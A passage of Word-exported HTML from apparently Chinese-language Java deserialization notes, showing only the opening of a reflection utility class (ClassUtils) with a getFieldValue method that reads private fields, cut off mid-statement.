&#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">ser</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">import</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">java</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">lang</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">reflect</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.*;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/**</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">反射的</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> Utils </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">函数集合</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">提供访问私有变量,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">获取泛型类型</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> Class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">提取集合中元素属性等</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> Utils </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">函数</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*/</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> ClassUtils </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              

              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/**</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">直接读取对象的属性值,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">忽略</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> private</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">protected </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">修饰符,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">也不经过</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> getter</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span>* @</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">param object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">param fieldName</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">return</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*/</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">static</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getFieldValue</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">String</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> fieldName</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Field</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> field </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getDeclaredField</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> fieldName</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">if</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">field </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">==</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">null</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">throw</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">IllegalArgumentException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;Could not find field [&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">+</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> fieldName </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">+</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;] on target [&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: 